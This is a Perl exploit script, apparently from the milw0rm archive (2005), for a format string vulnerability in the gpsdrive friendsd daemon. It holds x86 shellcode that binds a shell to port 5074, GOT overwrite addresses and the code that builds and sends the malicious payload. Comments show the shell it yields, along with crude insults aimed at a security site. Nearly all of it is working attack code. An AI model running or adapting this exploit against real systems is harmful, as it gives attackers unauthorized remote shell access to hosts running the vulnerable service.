#!/usr/bin/perl -w
#
# Code by KF, although it is most likely ripped from John H.
# (kf_lists[at]digital_munition[dot]com)
#
# http://www.digitalmunition.com
#
# FrSIRT 24/24 & 7/7 - Centre de Recherche on Donkey Testicles.
# Free 14 day Testicle licking trial available!
#
# friendsd.c:367: fprintf (stderr, txt);
#
# Tested on intel using gpsdrive_2.09-2_i386.deb
#
# kfinisterre@animosity:~$ telnet localhost 5074
# Trying 127.0.0.1...
# Connected to animosity
# Escape character is '^]'.
# id;
# uid=1000(kfinisterre) gid=1000(kfinisterre) groups=1000(kfinisterre)
# : command not found
#
# s0t4ipv6@Shellcode.com.ar
# x86 portbind a shell in port 5074
# 92 bytes.
#
# This shit is NOT robust and most likely will NOT work on kernel 2.6.12
# because of the random address space. Find your own damn pointers to overwrite
#
$shellcode = "\x90" x 2 .
"\x31\xc0" . # xorl %eax,%eax
"\x50" . # pushl %eax
"\x40" . # incl %eax
"\x89\xc3" . # movl %eax,%ebx
"\x50" . # pushl %eax
"\x40" . # incl %eax
"\x50" . # pushl %eax
"\x89\xe1" . # movl %esp,%ecx
"\xb0\x66" . # movb $0x66,%al
"\xcd\x80" . # int $0x80
"\x31\xd2" . # xorl %edx,%edx
"\x52" . # pushl %edx
"\x66\x68\x13\xd2" . # pushw $0xd213
"\x43" . # incl %ebx
"\x66\x53" . # pushw %bx
"\x89\xe1" . # movl %esp,%ecx
"\x6a\x10" . # pushl $0x10
"\x51" . # pushl %ecx
"\x50" . # pushl %eax
"\x89\xe1" . # movl %esp,%ecx
"\xb0\x66" . # movb $0x66,%al
"\xcd\x80" . # int $0x80
"\x40" . # incl %eax
"\x89\x44\x24\x04" . # movl %eax,0x4(%esp,1)
"\x43" . # incl %ebx
"\x43" . # incl %ebx
"\xb0\x66" . # movb $0x66,%al
"\xcd\x80" . # int $0x80
"\x83\xc4\x0c" . # addl $0xc,%esp
"\x52" . # pushl %edx
"\x52" . # pushl %edx
"\x43" . # incl %ebx
"\xb0\x66" . # movb $0x66,%al
"\xcd\x80" . # int $0x80
"\x93" . # xchgl %eax,%ebx
"\x89\xd1" . # movl %edx,%ecx
"\xb0\x3f" . # movb $0x3f,%al
"\xcd\x80" . # int $0x80
"\x41" . # incl %ecx
"\x80\xf9\x03" . # cmpb $0x3,%cl
"\x75\xf6" . # jnz <shellcode+0x40>
"\x52" . # pushl %edx
"\x68\x6e\x2f\x73\x68" . # pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" . # pushl $0x69622f2f
"\x89\xe3" . # movl %esp,%ebx
"\x52" . # pushl %edx
"\x53" . # pushl %ebx
"\x89\xe1" . # movl %esp,%ecx
"\xb0\x0b" . # movb $0xb,%al
"\xcd\x80"; # int $0x80
use Net::Friends;
use Data::Dumper;
$name = 'GPSDRIVE-aaaa';
# 0804bb84 R_386_JUMP_SLOT recvfrom
$addy = "\x86\xbb\x04\x08"; # This is the write address.
$addy2 = "\x84\xbb\x04\x08";
#$retaddr = 0xbfffba7c; # Retaddr when using gdb
$retaddr = 0xbfffba8a; # Retaddr when NOT using gdb. Its that same kick you in the face styleee from the ppc sploit.
$lo = ($retaddr >> 0) & 0xffff;
$hi = ($retaddr >> 16) & 0xffff;
$hi = $hi - 0x4c;
$lo = (0x10000 + $lo) - $hi - 0x4c;
$hi =1; $lo =1;
$dir = "$addy$addy2%." . $hi . "d%379\$x%." . $lo . "d%380\$x$shellcode";
$friends = Net::Friends->new(shift || 'localhost');
$friends->report(name => $name, lat => '1111', lon => '2222', speed => '3333', dir => $dir);
print Dumper($friends->query);
# P.S. - I fart in the general direction of Fr-Sirt.
# milw0rm.com [2005-11-04]